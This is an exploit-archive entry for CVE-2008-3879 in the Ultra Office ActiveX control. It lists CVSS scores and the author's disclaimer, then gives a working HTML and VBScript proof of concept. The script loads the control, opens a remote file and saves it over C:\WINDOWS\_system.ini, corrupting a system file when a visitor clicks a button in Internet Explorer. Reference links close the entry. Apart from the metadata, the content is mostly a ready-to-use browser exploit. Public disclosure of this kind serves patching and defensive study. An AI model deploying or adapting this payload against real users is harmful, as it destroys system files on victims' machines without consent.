Ultra Office ActiveX Control Remote Arbitrary File Corruption Exploit

2008-09-02 / 2008-09-03

Credit: shinnai

Risk: High

Local: No

Remote: Yes

CVE: CVE-2008-3879

CWE: CWE-20

CVSS Base Score: 9.3/10

Impact Subscore: 10/10

Exploitability Subscore: 8.6/10

Exploit range: Remote

Attack complexity: Medium

Authentication: No required

Confidentiality impact: Complete

Integrity impact: Complete

Availability impact: Complete

-----------------------------------------------------------------------------
 Ultra Office ActiveX Control Remote Arbitrary File Corruption
 url: http://www.ultrashareware.com

 Author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://shinnai.altervista.org

 This was written for educational purpose. Use it at your own risk.
 Author will be not responsible for any damage.

 Tested on Windows XP Professional SP3 all patched, with Internet Explorer 7
-----------------------------------------------------------------------------
<object classid='clsid:00989888-BB72-4e31-A7C6-5F819C24D2F7' id='test'></object>

<input language=VBScript  type=button value='Click here to start the test'>

<script language='vbscript'>
  Sub tryMe
   dim remURL
   remURL = "http://SomeSite.com/SomeFile.doc"
   test.Open remURL, True
   test.Save "C:\WINDOWS\_system.ini", True
 End Sub
</script>

References:

http://www.shinnai.net/xplits/TXT_NPku7jFjRufaz85U6Lxn.html

http://www.shinnai.net/index.php?mod=02_Forum&group=Security&argument=Remote_performed_exploits&topic=1219827906.ff.php

http://www.securityfocus.com/bid/30863

http://www.milw0rm.com/exploits/6319

http://secunia.com/advisories/31632

See this note in RAW Version

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Ultra Office ActiveX Control Remote Arbitrary File Corruption Exploit

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